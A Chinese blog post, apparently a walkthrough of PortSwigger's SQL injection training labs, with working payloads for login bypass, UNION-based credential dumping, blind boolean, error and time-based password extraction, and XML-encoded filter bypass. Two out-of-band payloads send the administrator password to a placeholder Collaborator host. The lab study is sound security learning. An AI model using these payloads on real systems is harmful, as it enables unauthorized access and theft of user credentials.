首页 > 数据库 >bp靶场之SQL注入

bp靶场之SQL注入

时间:2024-11-11 10:11:09浏览次数:1  
标签:users bp select --+ SQL 靶场 SELECT 注入

靶场链接

https://portswigger.net/web-security/all-labs

sql注入payload速查表

https://portswigger.net/web-security/sql-injection/cheat-sheet

SQL注入

WHERE 子句中的 SQL 注入漏洞允许检索隐藏数据

进入lab,点击类别

xia_sql显示√,说明有可能有sql注入

直接往参数后拼' or 1=1--+即可

SQL注入漏洞允许绕过登录

进入lab,点击my account

登录框,随便输入

无加密,结合题目,直接在password后面拼接' or 1=1--+即可


SQL注入攻击,查询Oracle数据库类型和版本

进入lab,点击类别

xia_sql探测到可能有注入,把报文发到重放模块

分别拼接'+and+1=1--+和'+and+1=0--+,根据返回包判断有sql注入(1=1有内容返回,1=0无具体内容返回)
拼接' order by 3--+,此时恰好报错,说明原sql语句返回两列内容

使用union联合查询来读数据库版本,从提示那里得知oracle有一个内置表名dual

拼接 '+union+select+'1','2'+from+dual--+

通过官方wp得知oracle查询数据库版本的payload:'+UNION+SELECT+BANNER,+NULL+FROM+v$version--

SQL注入攻击,查询MySQL和Microsoft的数据库类型和版本

进入lab,点击类别

xia_sql报注入

跟上个lab的步骤一样
最后payload:'+union+select+version(),null--+

SQL 注入攻击,列出非 Oracle 数据库上的数据库内容

跟上面一样的流程,但这个是PostgreSQL数据库。看了wp发现跟mysql的注入差不多

翻用户表,找出账号密码后登录即可解决该lab

SQL注入攻击,列出Oracle数据库内容

流程跟上一个lab一样,但是这个是oracle数据库,sql语句不同
burp提供了sql注入速查表:https://portswigger.net/web-security/sql-injection/cheat-sheet
该lab对应payload:'+union+select+table_name,null+from+all_tables--+
查列名:'+union+select+column_name,null+from+all_tab_columns+where+table_name='USERS_UKRTOL'--+
爆数据:'+union+select+USERNAME_AGHKAC,PASSWORD_YKZZVQ+from+USERS_UKRTOL--+
拿到账号密码登录即可

SQL 注入 UNION 攻击,确定查询返回的列数

一开始用的order by来判断,一直过不了,看了wp

SQL 注入 UNION 攻击,查找包含文本的列

一开始用的是mysql的语法' union select 1,2,3--+,一直报错,看了wp才知道要用null来判断才准确

SQL 注入 UNION 攻击,从其他表检索数据

先查数据库版本,'+union+select+version(),null--+
得知是PostgreSQL,用对应语法去利用
select+table_name,null+from+information_schema.tables--+
select+column_name,null+from+information_schema.columns+where+table_name='users'--+
select+username,password+from+users--+

SQL 注入 UNION 攻击,检索单个列中的多个值

跟上一个lab一个流程
只有一列是可以显示数据的,用concat拼接一次性返回用户名和密码
select+concat(username,'%',password)+from+users

带条件响应的盲 SQL 注入

看了wp,注入点在cookie里。盲注还是很麻烦的

TrackingId=xyz' AND '1'='1
TrackingId=xyz' AND '1'='2
TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=20)='a

TrackingId=xyz' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§
选择cluster bomb模式第一个payload选择number从1到20,第二个payload选simplelist导入小写字母+数字的字典,跑完后先点击payload1从小到大排序,再点击返回包排序就可以看清每一位的密码

带有条件错误的盲 SQL 注入

单个单引号返回包变小,两个单引号返回包正常,判断有sql注入点。用常规的and 1=0判断不出来,看了wp,学到了'||(SELECT '' FROM dual)||'
'||(select '' from users)||',报错,还以为没有users表,看了wp才知道要加rownum=1来防止返回多行信息破坏连接。'||(select '' from users where rownum=1)||'
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'从users表中选取符合username为administrator的行匹配到了记录,意味着数据库找到了至少一条符合条件的记录。这时,CASE 语句中的 WHEN (1=1) 条件始终为真,因此会执行 THEN TO_CHAR(1/0)。由于 1/0 会导致除以零的错误,这将触发数据库的错误处理机制,导致一个错误。如果 FROM users WHERE username='administrator1' 没有找到任何匹配的记录,那么 CASE 语句中的条件仍然会被评估。但由于没有符合条件的记录,WHEN (1=1) 的条件虽然为真,但 THEN 子句并不会被执行,因为没有对应的记录来应用这个条件。所以存在username='administrator'的时候才会去评估when语句是否正确,不然一律执行else。
'||(SELECT CASE WHEN length(password)=20 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'判断password字段的长度,当length(password)跟实际长度相等时报错,这里可以判断password长度为20

可见的基于错误的 SQL 注入

在cookie那输入单引号,有报错信息

用报错注入的payload尝试一下
' AND 1=CAST((SELECT version()) AS int)--
' AND 1=CAST((SELECT username from users limit 1) AS int)--
' AND 1=CAST((SELECT password from users limit 1) AS int)--

具有时间延迟的盲 SQL 注入

使用and拼接一直不成功,看了wp要用||

SELECT * FROM your_table WHERE some_column = 'x' AND pg_sleep(10)--用AND拼接,pg_sleep(10)在where查询后,pgsql可能不支持这种写法。SELECT * FROM your_table WHERE some_column = 'x'||pg_sleep(10)--用||拼接,相当于先执行select语句,再执行pg_sleep(10)。

具有时间延迟和信息检索的盲 SQL 注入

'||(SELECT CASE WHEN substr(password,1,1)='a' THEN pg_sleep(5) ELSE pg_sleep(0) END from users where username='administrator')--

带外交互的盲 SQL 注入

官方wp,不知道怎么判断注入点,以后遇到参数就无端端的拼接payload
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

带外数据泄露的盲 SQL 注入

官方wp,带外注入的利用方式
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

通过 XML 编码绕过过滤器的 SQL 注入

漏洞点判断,进行四则运算观察返回结果


官方wp,<@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities>
利用xml标签绕过waf

标签:users,bp,select,--+,SQL,靶场,SELECT,注入
From: https://www.cnblogs.com/dg05/p/18458591

相关文章

  • bp靶场之xss
    靶场链接https://portswigger.net/web-security/all-labsxss备忘录:https://portswigger.net/web-security/cross-site-scripting/cheat-sheet将XSS反射到HTML上下文中,无需任何编码搜索123后,url上出现123,页面也直接回显123,说明可能有反射xsshttps://0a1a0050044ea608c471......
  • 如何运用SQL SERVER制作投诉应急管理系统
       制作一个投诉应急管理系统,SQLServer数据库可以发挥关键作用。以下是一个基于SQLServer的投诉应急管理系统的大致设计思路:    一、系统需求分析    投诉应急管理系统旨在快速、有效地处理用户投诉,提高客户满意度。系统需要具备以下功能:    1.......
  • mysql清理binlog日志的方法
    MySQL中的binlog日志记录了数据库中数据的变动,便于对数据的基于时间点和基于位置的恢复,但是binlog也会日渐增大,占用很大的磁盘空间,因此,要对binlog使用正确安全的方法清理掉一部分没用的日志。 [方法一]手动清理binlog清理前的准备:1.查看主库和从库正在使用的binlog是哪个文件......
  • PostgreSQL configure: error: readline library not found
    前言安装PostgreSQL时报错,以下复制代码configure:error:readlinelibrarynotfoundIfyouhavereadlinealreadyinstalled,seeconfig.logfordetailsonthefailure.Itispossiblethecompilerisn'tlookingintheproperdirectory.Use--without-readline......
  • MySQL第四章,SQL高级二子查询
    子查询的定义子查询(Subquery)是嵌套在其他SQL语句中的查询,也称为内查询(InnerQuery)或嵌套查询(NestedQuery)。子查询可以放在SELECT、INSERT、UPDATE、DELETE等语句中,并且支持多层嵌套,即子查询中还可以包含其他子查询。子查询的作用子查询的主要作用包括:结构化查询:子查询允许......
  • 基于Python电影票房数据分析可视化系统 Flask框架 豆瓣电影票房 MySQL数据库 大数据毕
    博主介绍:✌全网粉丝10W+,前互联网大厂软件研发、集结硕博英豪成立工作室。专注于计算机相关专业项目实战6年之久,选择我们就是选择放心、选择安心毕业✌>......
  • [GXYCTF2019]BabySQli
    题目链接:[GXYCTF2019]BabySQli。个人认为这道题是脑洞题(当然也跟基础业务知识不够有关)。打开题目后环境如下。只有一个登录框,因此常规操作,先测试一下看看。通过多次输入不同的UserName、password发现,存在admin用户,并且可以遍历UserName。接下来尝试注入,发现似乎只有......
  • SQL注入攻击及其在SpringBoot中使用MyBatisPlus的防范策略
    SQL注入攻击及其在SpringBoot中使用MyBatisPlus的防范策略随着互联网技术的飞速发展,Web应用的安全问题日益凸显,其中SQL注入攻击是最常见的安全威胁之一。SQL注入攻击不仅可能导致敏感数据泄露,还可能引发数据篡改、服务中断等严重后果。本文将详细介绍SQL注入攻击的基本概念......
  • win10安装与配置Mysql9.1时执行net start mysql显示服务名无效请输入NET HELPMSG 2185
    几年的时间mysql从5.0到9.x了,在windows系统上安装两种方式,MSI安装程序和ZIP压缩包。这里不讲安装教程,只说说安装报错的原因。最近用zip压缩包下载解压配置,下载社区版本,在官网下载对应的版本。https://downloads.mysql.com/archives/community/在前面修改my.ini文件,以及执行......
  • 在VMware已安装的CentOS7.9上编译安装mysql5.6
    VMware已安装的CentOS7.9上编译安装mysql5.6目录1、安装依赖2、下载MySQL源码3、解压源码包4、编译MySQL4.1、编译前,cmake生成Makefile4.2、编译MySQL5、安装MySQL6、配置MySQL6.1、创建MySQL的用户和组6.2、创建数据目录并设置权限6.3、初始化MySQL数据库7、......